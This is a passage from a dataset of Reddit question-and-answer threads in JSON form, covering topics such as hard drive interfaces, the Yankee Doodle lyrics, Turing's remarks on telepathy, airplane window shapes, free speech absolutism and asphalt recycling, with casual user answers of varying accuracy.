a composite DVD player\", and so on, right? Even though the DVD player would be the same machine, just with different output options on different models. That's what it's like with hard drives. ", "A hard drive has two major component subsystems:\n\n1. The platters, along with the mechanism that turns them, read/writes the data, and takes care of all the physical aspects of the device.\n2. The controller board, which *interfaces* between the physical/magnetic storage system in item 1 and your computer.\n\nSince different computers implement different communications standards (sometimes called bus architecture or interface), hard drives are made with different controller boards. For instance, Seagate may manufacture the same physical drive with both an ATA and SATA controller board. For the sake of simplicity, they'll be called an ATA and SATA *drive*, when in fact, there's no difference in the storage parts themselves, only the computers to which you can connect them.\n\nDoes that help?", "Other people have already explained the differences and what they mean, so let me give you a little context.  \n\nMany years ago,  printers were connected to computers using a parallel port.  Then technology advanced, clock speeds increased, and the parallel port went out and the serial port came in (the precursor to USB).  \n\nThe same shift happened here.  PATA stands for Parallel ATA, which was the standard until some years ago.  Then Serial ATA (or SATA) replaced PATA.  It had fewer data transfer pins (4 data pins, rather than PATA's 16 data and a few other special pins).  \n\nSCSI was the standard that had some extra functionality - it had the ability to send commands to hard drives over a special set of pins.  That means that the overall response time of the drive was faster, because it could transfer data over one set and commands over a different set.  \n\nSAS stands for Serially Attached SCSI.  It went through the same parallel-to-serial change that many other protocols went through.  It still has those special pins for sending commands that are separate from the data transfer pins.  SAS has fewer pins than SCSI, the same way that SATA has fewer pins than PATA and USB has fewer than parallel.  \n\nLet me know if that helps or if you have any other questions - I know a fair bit about hard drives.  \n\nA quick edit:  if it wasn't clear, you'd be hard-pressed to buy a PATA or SCSI hard drive now, and you wouldn't be able to find a motherboard with a PATA or SCSI connection either.  The same way you can't buy a computer with a parallel port.  ", "To add onto what others have said, the standards have differences. For example, SATA transmits data serially (bit by bit) where as PATA transmits it in parallel (multiple bits at a time). In this case, the former is the newer standard that is replacing the latter, which is older.\n\nAt its core, though, these are strictly computer bus interfaces that carry data between devices. The core devices themselves - be they a hard drive or a DVD ROM - are not inherently SATA/PATA/etc. That is determined by their bus interface."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Serial_ATA", "http://en.wikipedia.org/wiki/Parallel_ATA", "http://documentation.apple.com/en/finalcutpro/usermanual/index.html#chapter=13%26section=5%26tasks=true", "http://en.wikipedia.org/wiki/Scsi"], "answers_urls": [[], [], [], []]}
{"q_id": "534yuq", "title": "why is _url_0_ website so terrible? like 1998 terrible.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/534yuq/eli5_why_is_ebaycom_website_so_terrible_like_1998/", "answers": {"a_id": ["d7q14uk"], "score": [3], "text": ["eBay is synonymous with online auctions. Excepting very rare and very specific specialty items, no one in the western market would conceive of posting an online auction elsewhere. \n\nWhen there's no competition, there's no reason to compete. "]}, "title_urls": ["eBay.com"], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2t3bgi", "title": "now that it has been proven the cia was financing the contras through drug sales, why do those involved get a free \"pass\" even years later?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2t3bgi/eli5_now_that_it_has_been_proven_the_cia_was/", "answers": {"a_id": ["cnvdi67", "cnvfmto", "cnvgxl5", "cnvjhgp", "cnvsbtr"], "score": [31, 29, 71, 11, 9], "text": ["Because the government is bad and they need a time out.", "Because it was legal for them to do it, since they were doing it under government orders. If they did anything illegal all evidence was kept secret or was destroyed, so it would be hard to charge anyone with anything.\n\n[Confessions of an economic hitman](_URL_0_) gives pretty interesting insight into that world.", "There's one law for the powerful and another for the rest.", "Because the CIA can do whatever it wants, and always could.", "Iran/Contra occurred during Reagan's presidency. Bush senior was the next president, since he was also involved in the scandal, he had no incentive to investigate it further. \n\nBy the time Clinton was in office, the scandal was largely forgotten by the public, and it would have been foolish for Clinton to expend political capital on it. Even if Clinton convicted everyone involved, what would Clinton gain from it? How would it have helped him push his own agendas forward?\n\nAdditionally even if they brought the people to trial, is it worth allowing a defense attorney to bring all kinds of classified material into the public record? No trial, no need to release classified material."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Confessions_of_an_Economic_Hit_Man"], [], [], []]}
{"q_id": "2ptro9", "title": "why the hell does yankee doodle call his hat \"macaroni\" after he sticks a feather in it?", "selftext": "Seriously though those lyrics never made sense to me.\n\nEDIT: Wow, front page. Definitely taking shots for this.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ptro9/eli5_why_the_hell_does_yankee_doodle_call_his_hat/", "answers": {"a_id": ["cmzy5s6", "cmzy641", "cmzy6bw", "cmzyd12", "cmzyjq8", "cn08sg8", "cn09zy1", "cn0afca", "cn0aj5v", "cn0ayg9", "cn0bj17", "cn0bo8x", "cn0dxgr", "cn0edk8", "cn0ef31", "cn0evvl", "cn0f0ko", "cn0grjs", "cn0i2yg", "cn0j728"], "score": [3021, 119, 17, 4, 555, 16, 8, 12, 11, 13, 4, 66, 19, 12, 3, 171, 3, 4, 3, 2], "text": ["Macaroni was a particularly grand, elaborate, and effeminate fashion trend popular among young English men at the time of the Revolutionary War. The song, which was originally an English jibe at the American colonialists, suggests that the colonialists were so naive, or out-of-touch with contemporary trends, as to believe that putting a feather in their hat was the same as \"macaroni\".", "[Macaroni](_URL_0_).\n\nBasically, think of an 18th century English hipster - he'd be called a \"macaroni\".", "The way I remember it, Macaroni was actually a guy back in the baroque days that was known for his flamboyant and frilly outfits. He was a well-to-do socialite known for his lavish style.\n\n_URL_0_\n\n > Young men who had been to Italy on the Grand Tour had developed a taste for macaroni, a type of Italian food little known in England then, and so they were said to belong to the Macaroni Club.[5] They would refer to anything that was fashionable, or \u00e0 la mode, as 'very maccaroni.", "The Macaroni wig was an extreme fashion in the 1770s and became contemporary slang for foppishness.[", "The whole song was designed by the English to make fun of Americans. Instead of a proper horse, the man rides a pony. Instead of proper fancy headwear (called a macaroni), the man thinks a simple feather will suffice. Even the title, a \"doodle\" was a term for a fool. However, the Americans embraced the song, leading to it now being a patriotic song.", "Also side cool fact, after the British bombardment on Fort McHenry, the successful American defenders of the fort played Yankee Doodle in celebration.  This was the bombardment that Francis Scott Key witnessed from a British prison ship and penned The Star-Spangled Banner based on what he saw.\n\nSource: I own a food truck called Yankee Doodle Dandy's...better know stuff like that.", "Basically \"Macaroni\" is slang from the 18th century to describe something very fancy and dandy like.  Just think the stereotype french aristocrat from the 1700's and you get the idea of what dandy's and macaroni are referring to.\n\nOn a side note this line that has survived is actually a British lampooning of the actual song and is making fun of Americans.  It is like the Weird Al song \"Eat It\" is the only version of Michael Jackson's \"Beat It\" that survives in the next 200 years.  \"Yankee Doodle\" is the \"Eat It\" version of a popular pub song of the day that pretty much no one knows anymore.  The tune is known to be far older than the Seven Years War (French-Indian War) but the only version of the lyrics known (at least as I can find) is \"Yankee Doodle\".  Just something fun to know.\n\n-Source (I studied history with a focus on French-Indian and Revolutionary War eras.  I remember reading this in one of the books I had to read but for the life of me I can't remember which one as there were many.  Take my account as a possible fun fact unless someone else can corroborate it.)", "Wow, I always thought \"called it macaroni\" referred to the pony. I thought he named the pony Macaroni. It made more sense to me than naming his hat. TIL.", "It would be the same as sticking a feather in your hat and calling it swag.", "There was, at the time, a very cutting edge club called 'Macaroni' that prided itself on having the very latest and greatest fashion and accessories to be found. Thus, to merely stick a feather in your hat and call it Macaroni was the height of bumpkin ignorance, and to be mocked mercilessly.\n", "Macaroni was a fashionable thing in English society at the time involving lots of plumes and feathers.  So by this classless American sticking a feather in his hat and thinking he's fashionable its a jab at Americans.", "Man, one I can actually answer and there's 200 responses already. Yankee Doodle was originally a British song sung to mock the colonists. Macaroni (the pasta) had recently been introduced to England from Italy, and was such a big hit that macaroni (the word) came to reference the over-the-top men's fashion of the time. So Yankee Doodle comes riding up on a crappy little pony putting a single feather into his cap, and that's what passes as cool or \"macaroni\" in the colonies.", "This will get buried cuz I'm so late, but...\n\nIt started out as a taunt from the British.\n\nDuring the revolutionary war when the British and American armies would make camp across from each other in preparation for the next day's battle...the British troops made up the lyrics and set them to an old British folk melody, taunting the Americans into the night before the battle with the story of \"Yankee Doodle\", Yankee meaning \"American\", and doodle being a slang term for \"idiot\". Yankee Doodle was a song about an American idiot who considered himself \"macaroni\", which meant high class and stylish simply by sticking a feather into his hat, thus it was a poke at most Americans, especially in the war, for being lower class/farmers/etc... Eventually the tides of the war started to turn against the British (thanks in no small part to France), and as a result during the pre-engagement camp-outs, the Americans started singing the same song they had heard so many times **back** to the British soldiers, as kind of a big middle finger to the British who were once so pompous and were now slowly beginning to lose the war. \n\nThe joy of singing the British own heckling song back to them carried its popularity out of the war and back home with the soldiers where it slowly became an anthemic patriotic song that children still sing in elementary schools to this day hundreds of years later.\n\nTL;DR: 'Murica.", "\"Yankee Doodle\" was originally a british drinking song that was meant to make fun of the american colonists. the song pokes fun at how the colonists were so simple and had no class. the \"macaroni club\" in London during the 1770's typically wore hats with feathers, and were known to be very fashionable and extravagant. so when the british say \"stuck a feather in his hat and called it macaroni\" they are saying that the colonists could try to match up to the macaroni standards (simply sticking a feather on an old hat), but that they never could compare with the actual elite high class. the song is very arrogant and condescending", "\"Dude left the price tag on his hat and thought he was swag as hell.\"\n\nModern translation. It's making fun of Americans for being ignorant of fashion trends. \n\nWe adopted the song as a \"Fuck you, we happen to like feathers, thank you very much.\" kind of gesture. ", "No one seems to have got this completely right so here goes. Yankee = American, doodle = fool/simpleton (low German: dudel), dandy = young man with fashionable aspirations. Macaroni was from the slang for the \"Macaroni club\", not a real club but rather a term for when affluent young men went on the grand tour (a world tour rich young men would do to become more cultural) and came back obsessed with Italian high fashion and culture. Such men were then said to be part of the \"macaroni club\", this owing to the fact that macaroni was a popular Italian food they would acquire a taste for whilst abroad.\n\nThe song is not a revolutionary song but rather harks from the 7 year war with France where both British regulars and American militias fought together. The British held themselves in higher regard than most of the American bumpkins who often weren't professional soldiers and being of humble origins had little contact with European high culture. \n\nThe British made up this song to wind up their allies in jest. Suggesting that this imaginary Yokel American fool had aspirations above his station, believing that he could jump on a pony stick a feather in his hat and suddenly he'd be \"Macaroni\", i.e. as fashionable as the wealthy youths who would be labelled as in the \"Macaroni club\" back home. \n\nIt wasn't until later during the revolutionary war that the Americans began appropriating the song for themselves, partially because its so catchy and the lyrics didn't really matter and partially to mock the British in a \"ha ha we don't care about your jibes and we are proud of our hopeful naivet\u00e9\" kind of way.", "Macaroni translates as \"dandy, hipster or chic\". Words change their meaning over time for example gay used to mean nice and jolly.", "It means that the Brits wanted to call Americans a bunch of rubes that stick a feather in their cap and think they are now part of a gay club of fashionistas and fancy lads in London called The Macaroni Club.\n\nBasically the Brits were calling us a bunch of wannabes. Americans liked the song and ran with it ", "At least according to what I was told in school...\n\nThe English had a style called Marconi with a feather in a hat, and they were insulting the Americans and the way they spoke by saying \"stuck a feather in his hat and called it macaroni\". So the song is actually insulting Americans. \n\n", "I heard somewhere that 'Yankee' originated as the english speaking Europeans bought parts of North America from the dutch settlers. 'Yan-kee' was what the english heard the dutch calling them, when in reality they were calling them 'Jan-kaas', or 'john cheese' in english. Basically making fun of them while the later to be Americans were oblivious to the chirp."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Macaroni_\\(fashion\\)"], ["http://en.wikipedia.org/wiki/Macaroni_%28fashion%29"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5qoab8", "title": "What was Turing most likely referring to when he talked about \"overwhelming statistical evidence\" of Telepathy?", "selftext": "In [Computing Machinery and Intelligence](_URL_0_) he talks about overwhelming statistical evidence of Telepathy. Does anyone know what he was most likely referring to?\n\n > I assume that the reader is familiar with the idea of extrasensory perception, and the meaning of the four items of it, viz., telepathy, clairvoyance, precognition and psychokinesis. These disturbing phenomena seem to deny all our usual scientific ideas. How we should like to discredit them! Unfortunately the statistical evidence, at least for telepathy, is overwhelming. It is very difficult to rearrange one's ideas so as to fit these new facts in.\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5qoab8/what_was_turing_most_likely_referring_to_when_he/", "answers": {"a_id": ["dd0s4ee", "dd19adf", "dd1hbhj", "dd1ul38", "dd20cm9"], "score": [40, 342, 132, 55, 6], "text": ["Apparently he was fascinated by the work of j.b. Rhine, but that's all I could find.\n\nYou have to consider though that even today a lot of people believe in pseudoscience and 70 years ago that number must have been well over 50%.", "It's in situations like these I like to point to James Randi, I am paraphrasing:\n\n > Anyone, no matter how smart or educated, can be tricked and it's impossible to know when the person being tricked is you. \n\nI would also point to his biopic on Netflix called An Honest Liar in which they describe how he and two teenaged boys convinced a whole team of Stanford (if I recall correctly) researchers into believing the boys had psychic powers, despite Randi giving them solutions to defeat the tricks. ", "Adding to /u/gammbus's comment:\n\nRhine's work on ESP was very high profile at the time, at a respected university (Duke), and was supposedly done by careful scientific method with good statistical analysis -- the methodology was in fact deeply flawed in many ways, but that wasn't obvious at the time.\n\n(After years of thorough critique, much more careful later experiments and analysis were unable to statistically replicate Rhine's positive results.)\n\nBecause of this, a lot of scientifically-minded people at the time were at least open minded about Rhine's work, who otherwise would have dismissed the subject out of hand.\n\nA minor example of this is in Robert Heinlein's works; he mostly did very hard science fiction (adhering carefully to known science and engineering), but some of his stories take Rhine's work at face value -- that's not an indication of Heinlein's beliefs, just an example of Rhine being part of the zeitgeist of the time.\n\nAnyway considering how high profile Rhine was back then, I agree that it is extremely likely that this is what Turing had in mind.\n\nAnd the above context perhaps explains why someone like Turing would be influenced by \"obvious pseudo-science\".\n\n_URL_0_", "For context: Newton believed in alchemy. Keynes called him *the last of the mystics.* Tesla believed he was talking to aliens. Nothing about being good at something precludes you from being quite wrong about something else.", "According to the president of the American statistics foundation, statistics Professor [Jessica Utts](_URL_0_)  who published [a report](_URL_1_) about the statistical evidence on psychic functioning.\n\n > Using the standards applied to any other area of science, it is concluded that psychic functioning has been well established.\n The statistical results of the studies examined are far beyond what is expected by chance.  Arguments that these results could be due to methodological flaws in the experiments are soundly refuted.  Effects of similar magnitude to those found in government-sponsored research at SRI and SAIC have been replicated at a number of laboratories across the world.  Such consistency cannot be readily explained by claims of flaws or fraud.\n \n"]}, "title_urls": [], "selftext_urls": ["http://cogprints.org/499/1/turing.HTML"], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Joseph_Banks_Rhine"], [], ["http://www.ics.uci.edu/~jutts/", "https://www.ics.uci.edu/~jutts/air.pdf"]]}
{"q_id": "1yffq9", "title": "why are all the windows on planes a specific oval shape, is there a reason?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yffq9/eli5_why_are_all_the_windows_on_planes_a_specific/", "answers": {"a_id": ["cfk0w7u", "cfk0wco", "cfk3p8m"], "score": [24, 8, 2], "text": ["Imagine you make a little tear on the edge of a piece of paper. If you then try to pull apart the opposite ends, the tear will easily get bigger, rather than any new tears forming. This is called 'crack propagation', and is similar to what happens when very high stresses -- such as those found within the fuselage of a plane -- are put on the corners of metal windows. In short, all the stress is focused on the single point of the corner of the window, and rounding them out distributes the stress a little more evenly throughout the frame of the window. It actually took a few crashes for people to figure out how important this was, iirc.", "The first jet airliner, the de-havilland comet, suffered a series of crashes where the plane just seemed to break up in mid air. This was caused by metal fatigue due to the stresses building up around the corners of the passenger windows. Rounded windows do not have this problem", "Wouldn't it be safer overall to get rid of windows altogether and put an LED screen of what's going on outside in its place?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1xj1h9", "title": "How much does a 15 minute 110\u00b0F shower raise your core body temperature (if at all)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xj1h9/how_much_does_a_15_minute_110f_shower_raise_your/", "answers": {"a_id": ["cfbtfoc", "cfbz7sn"], "score": [11, 3], "text": ["Your body temperature would rise a tiny amount but it wouldn't be much, the body is good at regulating temperature and many vital bodily functions don't work well if the body's temperature is far from its normal temperature. As for the magnitude of the change, there are too many variables involved and I'm too lazy to estimate heat transfer coefficients right now.", "Someone would have to do an experiment to answer your question, because there are too many variables to estimate. I don't have full-text access, but these journal articles might have info relevant to your question. There are probably other good sources if you do a literature search.\n\n[Humans under showers: Thermal sensitivity, thermoneutral sensations, and comfort estimates](_URL_0_)\n > Thirty male subjects participated in four experiments under showers to explore the sensitivities to water temperature and to its slow or rapid fluctuations. After having set the water temperature, at constant flow rate, at either a thermoneutral or a preferred level, subjects were asked to detect thermal changes or to report their thermosensory and affective judgments associated with water temperature changes. Results of water temperature, skin temperature, and subjective estimates showed that skin temperature for thermally neutral sensation under a shower were very similar to those observed in air, and such a thermoneutral level produced no discomfort. Preferred water temperature was slightly warmer and led to slightly elevated skin temperatures, warmth, and pleasantness estimates. Skin sensitivity to water thermal changes was very acute during slow and even more acute during rapid thermal transients. The conclusions of the present study are of value in the production of appropriate equipment to provide thermal comfort to people taking showers.\n\n[The effects of variation in body temperature on the preferred water temperature and flow rate during showering.](_URL_1_)\n > The purpose of this study was to investigate the effects of body temperature variations on subjects' preferred water temperature and flow rate during showers. Nine healthy women students took a shower before and after physical exercise (running on a treadmill for 30 min) and water immersion (immersing in the water of 25 degrees C temperature for 30 min). During each shower, the subject was instructed to adjust both the water temperature and flow rate of a shower to suit their comfort. Rectal temperature and skin temperatures of the subjects, water temperature, and flow rate of the shower were measured during the experiments. The means of preferred water temperature during showers were 40.2 degrees C and 43.8 degrees C before and after water immersion respectively, which were significantly different. On the other hand, there was little difference in the preferred water temperature between before and after the treadmill exercise. There were no significant differences in the flow rates between before and after both water immersion and the treadmill exercise. A significant negative relationship was observed between the mean body temperature (Tb) and the preferred water temperature during showers (r = -0.439). On the other hand, no significant relationship was found between Tb and the preferred flow rate. Moreover, a significant negative relationship was observed between the preferred water temperature and the flow rate during showers (r = -0.528)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sciencedirect.com/science/article/pii/0031938494903352", "http://www.ncbi.nlm.nih.gov/pubmed/8143696"]]}
{"q_id": "42itfv", "title": "are there signs i should look out for as a 20-something or younger indicating the possible onset of cancer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42itfv/eli5_are_there_signs_i_should_look_out_for_as_a/", "answers": {"a_id": ["czaorw1"], "score": [2], "text": ["First off, the chances of getting cancer at that age is very low and you really shouldn't worry too much about it. But there are a few self-examinations that you can perform periodically. Another thing that will help is to cut out habits that can help cause cancer, such as smoking.\n\nIf you are a male, [act like a squirrel and check on your nuts](_URL_0_). You can also check your prostate, but at that age it is very highly unlikely you'll get prostate cancer and I don't know the details on that.\n\nIf you are a female, [check your breasts for lumps](_URL_1_). This can also happen to guys, but is much less likely.\n\nFor both, [look over your body for possible signs of skin cancer](_URL_2_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.testicularcancersociety.org/testicular-self-exam.html", "http://www.breastcancer.org/symptoms/testing/types/self_exam/bse_steps", "http://www.skincancer.org/skin-cancer-information/early-detection/step-by-step-self-examination"]]}
{"q_id": "64ql72", "title": "Prior to Nancy Reagan's \"Just say no\" campaign, what did drug enforcement look like and how high of a priority was it for law enforcement at large?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/64ql72/prior_to_nancy_reagans_just_say_no_campaign_what/", "answers": {"a_id": ["dg4v1jn"], "score": [213], "text": ["While we wait for a direct answer, you might be interested in these two knockout posts by /u/The_Alaskan:\n\n* [Marijuana was prohibited in 1937, yet Nixon is said to have started \"the War on Drugs\". What did Nixon do that wasn't already being done since 1937?](_URL_1_) - which argues for viewing the 1970s/80s \"war on drugs\" as a strategy for dealing with pernicious and persistent fears arising from the 1960s (over exaggerated reports of drug use in Vietnam, white fear of the civil rights movement, etc)\n\n* [Before the \"war on drugs,\" how did police spend their time?](_URL_0_) - One of the greats of AskHistorians, which goes directly to the police logs of Juneau, Alaska in the 1940s and 50s for a straight-from-the-sources approach to the question"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/49vp41/how_did_the_police_spend_their_time_before_the/d0vpbsc/", "https://www.reddit.com/r/AskHistorians/comments/4w2pzi/marijuana_was_prohibited_in_1937_yet_nixon_is/d63nm47/"]]}
{"q_id": "cusag0", "title": "are people in prank shows and advertisements saying \u201cthese people are not paid actors\u201d actually paid actors and such?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cusag0/eli5_are_people_in_prank_shows_and_advertisements/", "answers": {"a_id": ["exy766j", "exylcbx", "exyog1z", "exyq1cm"], "score": [5, 6, 6, 3], "text": ["Disclaimers are placed so people cannot be sued for misrepresenting themselves. The disclaimer will prove in court that the company was not deceptive. Now, in your example- this ONLY applies to PAID actors. There are many ways to deceive people. Were they paid? What is the definition of an actor? Is it someone who is recognized by a guild or union? Always be skeptical.", "Keep in mind that you can invite 100 people to come look at your car and then splice the 5 most interesting and favorable reactions together into a commercial. There are also some people that are going to naturally play up for a camera if it\u2019s pointed at them, especially in a setting that is specifically designed to encourage positive and emotive reactions to something.\n\nIt\u2019s likely that the people shown weren\u2019t given a strict or told what to say and do, but there is a difference between not having a script and not knowing what the people behind the camera would like to see, and there is a difference between what they show you on TV and what a random sampling of the people they filmed and didn\u2019t use may have said or done.", "If a disclaimer in a show or commercial (and I mean an actual show or commercial, not YouTube) says people were not paid actors, then it's likely true, but that is *all* it means. They could be paid, but not be actors. They could be compensated in another way - given a trip, put up in a hotel, etc. \n\nYou also need to be aware of similar phrases. If an ad only says \"actual customer\", that does *not* mean they're also not paid actors, even though that might be implied. Actors can be customers too. And they might be paid for their testimonial as well as received the product for free. They also may have been hired for the commercial before they became a \"customer\".", "There are pretty strict rules in the Film Actors Guild about minimum payments for just appearing on TV with even one line of dialogue. They will definitely all be paid if they star in a prank, and will all have signed release forms, and all probably had the option of forcing the show to blur their face which would ruin the sketch."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9smrl3", "title": "what to \"free speech absolutists\" believe, specifically?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9smrl3/eli5what_to_free_speech_absolutists_believe/", "answers": {"a_id": ["e8pvrkm", "e8pw6k9", "e8pwzvd", "e8pzkaw", "e8pzyi2", "e8q0yx5", "e8q1nnl"], "score": [17, 6, 13, 34, 2, 2, 2], "text": ["I dont exactly have an explanation for the other subjects but child porn comes down to the childs ability to consent to the act of making the product.  Thus creating and sharing it should most definitely be illegal.  That is not a free speach issue in the slightest.", "typically this means that government will at least be subject to strict Scrutiny  for any prior restraint on free speech, and be prohibited from taking governmental action for speech (not conduct).\n\n & #x200B;\n\nThe issue is that most people who state that they are a free speech absolutionist, also have legal training, and so they buy into the understanding that some types of speech are not granted first amendment protection.  Child porn was the most recent, and final of these catigories, with threats, conspiracy, and criminal syndicate support being the other common catigories.\n\n & #x200B;\n\nWe would state that the impersonating a cop is conduct, not speech, and thus not protected.  We would state that lying under oath would also be conduct.\n\n & #x200B;\n\nThe other catigories, of libel and copyright violation, would be subject to private actions, not governemnt action.  \n\n & #x200B;\n\na free speach absolutist would argue that the fighting words doctrine, and the gab issues would best be dealt with by allowing more speech, instead of shutting speech down", "Well, for one, I believe the word you wanted was \"do.\"\n\nI also think you are confusing social speech pressures with government ones.\n\nFree Speech absolutists believe (well, I do) that Government should not be in the business of policing speech. It does not mean that there are no consequences to speech, though. If you are telling lies about someone, and they successfully sue for slander, your speech rights have not been violated.", "The old definition of freedom is that your freedom to swing your arms stops where my nose begins. A freedom absolutist (like an very strict libertarian) would hold that \"absolute freedom\" means you are free to do absolutely anything *as long as it does not impose on someone else's freedom.* If I have the freedom to commit murder for example, I'm not supporting freedom, because I'm denying rights to other people.\n\nFree speech absolutism is the same idea, you are free to say whatever you want no matter how much someone else might hate what you are saying, but that does not include things that impose on to the freedom of other people so things like conspiracy to commit murder, incitement, slander/libel, distribution of child porn, perjury etc are not free speech. They are attack. The are either cause or attempt to cause actual harm. That's not \"speech\" any more that's you out to get someone.\n\nA free speech absolutist would hold that short of crossing that line, anything goes.", "It's helpful to mentally substitute \"free speech\" with \"free expression\", because that's closer to what most people mean by free speech.  A threat is not an expression of an idea or opinion, it's just a threat.  An incitement to violence is likewise not an expression.  So these are not covered by free speech.\n\nFree speech absolutism is the belief that free expression is the most important cultural value a society can have.  Free speech absolutists are therefore hyper-vigilant against attempts to curtail free expression, and will generally reject the legitimacy of concepts like \"hate speech\".\n\nI regard myself as something of a free speech absolutist, but other self-described free speech absolutists may disagree with how I've characterised it.  ", "I suppose I'm kind of close to a \"Free Speech Absolutist\", though I do believe in libel/slander laws so that disqualifies me from being a full on believer.\n\nThe way I view it is that our first amendment right gives us the ability to say, or write, whatever we desire without worrying about being jailed by the government for it. This is particularly important for journalists, but really for everyone: it's amazing how quickly \"dissent\" would make the list of things you could go to jail for. Don't like the current president? Made the mistake of saying/writing that you don't like the current president? Enjoy federal prison.\n\nWith that said, from my layman's point of view: the law of the land is determined in part by the federal Supreme Court, and the SC has determined that some things supersede that 1st amendment. For instance, threats of violence or child porn. \n\nThat creates a little bit of a cognitive dissonance for me. While I do believe we should be able to have freedom of expression without fear of it being criminalized, it also makes rational sense to me as to WHY those exceptions exist. I feel like the country would be a worse place without those exceptions. However, on the other hand, any law that infringes upon that First Amendment right becomes a stepping stone to make more speech illegal.\n\nYou have probably heard this before: this is the same argument that is used against limiting the second amendment. Any infringement would lead to more, until the right is lost. Many people claim that it this line of thinking is BS, but reddit has done a pretty decent job of showing that, at least to the average person, it holds merit. \n\nConsider conversations about making certain speech illegal here on reddit. The same argument happens in almost every thread.\n\n-------------------------------\n\n\"We should make x speech illegal\"\n\n\"The first amendment protects free speech\"\n\n\"We already limit the First Amendment. You can't makes threats or libel/slander people\"\n\n-------------------------------\n\nTo the average person, the existence of a limitation means that more limitations are acceptable, and so we push for them. \"Hate speech\" is an example of something people want to see criminalized.\n\nMy problem with this is that people only ever want to criminalize the speech that *they* perceive as negative, but never consider that perhaps those they disagree with may also one day get the opportunity to do the same thing. Today we would get a win, criminalizing \"hate speech\". But tomorrow we could have a loss: maybe \"hate speech\" is expanded to include groups of people outside of race/gender/religion (like government entities, or particularly well off economic classes). Or maybe negative opinions of the government are made illegal.\n\nTo me, the idea of limiting the First Amendment is short sighted, focusing on trying to get an immediate win at the cost of our ability down the line to be able to even peacefully protest. The very people pushing for making some of this speech illegal could well end up behind bars when the law is expanded to make what they say illegal as well.\n\nI generally dislike the \"slippery slope\" contention, but in this case it feels relevant, since the entire argument around making certain speech illegal is that we already make other speech illegal. That's the very definition of \"slippery slope\".\n\nAnyhow, that's my thought.", "It can come down to difference in definition what \"all\" encompasses.\n\nYou could have the opinion that ALL topics are free to be discussed while someone other might think that there are topics like religion, sex  or violence that are okay to consider to be taboo. This would still allow topic ambivalent restrictions.\n\nAny kinds of \"-isms\" are kind of vague in that they don't always accept good definitions and are formulated for only positions that have significant support and are named in contrast to each other. Thus the most extreme \"-ism\" will fall logically short on what could be stated and will include caveats to make it workable as a human position."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "29ynyk", "title": "if a family from a strife-torn country such as south sudan, where polygamy is practiced, were to make a refugee claim in a country where polygamy is outlawed, what would happen?", "selftext": "Would the entire family be granted refugee status? Would some of the marriages need to be annulled? Would the claim be denied because the claimants had \"broken the law?\"", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29ynyk/eli5_if_a_family_from_a_strifetorn_country_such/", "answers": {"a_id": ["cipwtht"], "score": [6], "text": ["I'm assuming subsequent marriages (after the first)would not be legally recognised. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18oe8r", "title": "I know we're were spared by Asteroid 2012 DA14 on Friday, but are we safe from its future orbit?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18oe8r/i_know_were_were_spared_by_asteroid_2012_da14_on/", "answers": {"a_id": ["c8gjr0a"], "score": [2], "text": ["According to NASA, there is a close pass around 2080 for which a collision with Earth is still within the uncertainty.  Most likely it won't impact then, but we'll only know for sure with more observation.\n\nThey have a hard time predicting such orbits more than a few centuries ahead, so the longer-term threat is also uncertain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5u05ip", "title": "When they repave a road, where do they send the old asphalt and what is its environmental fate?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5u05ip/when_they_repave_a_road_where_do_they_send_the/", "answers": {"a_id": ["ddqccxy", "ddqciy4", "ddqd7nr", "ddqdsx1", "ddqe6q0", "ddqelbs", "ddqesir", "ddqgbd6", "ddqh09w", "ddqh6f3", "ddqhswq", "ddqj003", "ddqlcsb", "ddqmlse", "ddqo1nt"], "score": [2, 2, 3120, 150, 50, 3, 9, 2, 5, 15, 5, 3, 2, 7, 3], "text": ["Usually back on the road, asphalt is the most recycled materials at about 99%\n\nSource: _URL_0_", "Used to be dumped in landfills, now most of it is recycled.  There even machines out there that do it all in place. Pull it up, grind it up heat it up and repave.\n_URL_0_", "Usually, the asphalt is immediately recycled into the new road surface through the process of [pavement milling](_URL_0_).  If the pavement isn't immediately recycled into the new road surface, it is trucked somewhere and then re-sold as aggregate or as an input to \"new\" pavement.\n\nAsphalt is one of the most easily and widely recycled construction materials.", "It can also be ground up into chunks and sold as a type of gravel. I can't remember what it's called but it's a good cheap alternative to gravel for things like 